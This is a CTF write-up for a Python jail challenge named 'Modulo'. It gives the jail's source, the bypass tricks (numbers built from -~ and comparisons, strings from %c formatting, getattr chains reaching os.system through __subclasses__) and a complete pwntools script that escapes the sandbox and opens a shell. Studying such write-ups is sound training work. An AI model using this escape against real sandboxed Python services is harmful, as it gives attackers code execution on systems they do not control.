ctf-writeups

Modulo

import ast
print("Welcome to the jail! You're never gonna escape!")
payload = input("Enter payload: ") # No uppercase needed
blacklist = list("abdefghijklmnopqrstuvwxyz1234567890\\;._")
for i in payload:
    assert ord(i) >= 32
    assert ord(i) <= 127
    assert (payload.count('>') + payload.count('<')) <= 1
    assert payload.count('=') <= 1
    assert i not in blacklist

tree = ast.parse(payload)
for node in ast.walk(tree):
    if isinstance(node, ast.BinOp):
        if not isinstance(node.op, ast.Mod): # Modulo because why not?
            raise ValueError("I don't like math :(")
exec(payload,{'__builtins__':{},'c':getattr}) # This is enough right?
print('Bye!')

Requirements:

  1. No builtins: use ().__class__.__base__.__subclasses__()[os_wrap_index].__init__.__globals__["system"]("sh")
  2. No lowercase letters except c, only allow % binary op: use "%c%c" % (97, 98) to construct strings
  3. No integers: use ()<((),) as 1, use -~x as x+1
  4. No .: use getattr(A, "B") as A.B

Inspired by official writeup and writeup by @squar3.

Steps:

  1. construct arbitrary numbers using -~ and ()<((),)
  2. construct arbitrary strings using "%c%c" % (ord("A"), ord("B")) where ord("A") is computed in the first step
  3. convert ().__class__.__base__.__subclasses__()[os_index].__init__.__globals__['system']('sh') to use getattr where the strings are generated in the second step

Attack script:

from pwn import *

context(log_level="debug")

subclasses = str(().__class__.__base__.__subclasses__())

# find the indices of the builtins
# assuming we are using the same Python version as remote

# assuming os._wrap_close is at 158
os_index = 158
assert subclasses.split(", ").index("<class 'os._wrap_close'>") == os_index

p = process(["python3", "modulo.py"])


# to construct arbitrary number: -~x = ~(~x) + 1 = x + 1, so -~-~x = x + 2, etc
# 1: ()==()
is_first = True


def number(i):
    global is_first
    if is_first:
        # we need to define O=1
        one = "()<((),)"
        added = "-~" * (i - 1)
        is_first = False
        return f"(O:={one},{added}O)[O]"
    else:
        added = "-~" * (i - 1)
        return f"({added}O)"


# to construct "abc": use "%c%c%c" % (ord("a"), ord("b"), ord("c"))
def string(s):
    fmt = "%c" * len(s)
    args = ",".join([number(ord(ch)) for ch in s])
    return f'("{fmt}"%({args}))'


# validation
assert eval(number(10)) == 10
assert eval(string("system")) == "system"

p.recvuntil(b"payload: ")

# ().__class__.__base__.__subclasses__()[os_index].__init__.__globals__['system']('sh')
# A.B -> c(A, "B") where c is getattr
# c(c(c(c(c((), "__class__"), "__base__"), "__subclasses__")()[os_index], "__init__"), "__globals__")["system"]("sh")
is_first = True
payload = f'c(c(c(c(c((), {string("__class__")}), {string("__base__")}), {string("__subclasses__")})()[{number(os_index)}], {string("__init__")}), {string("__globals__")})[{string("system")}]({string("sh")})'
p.sendline(payload.encode())
p.interactive()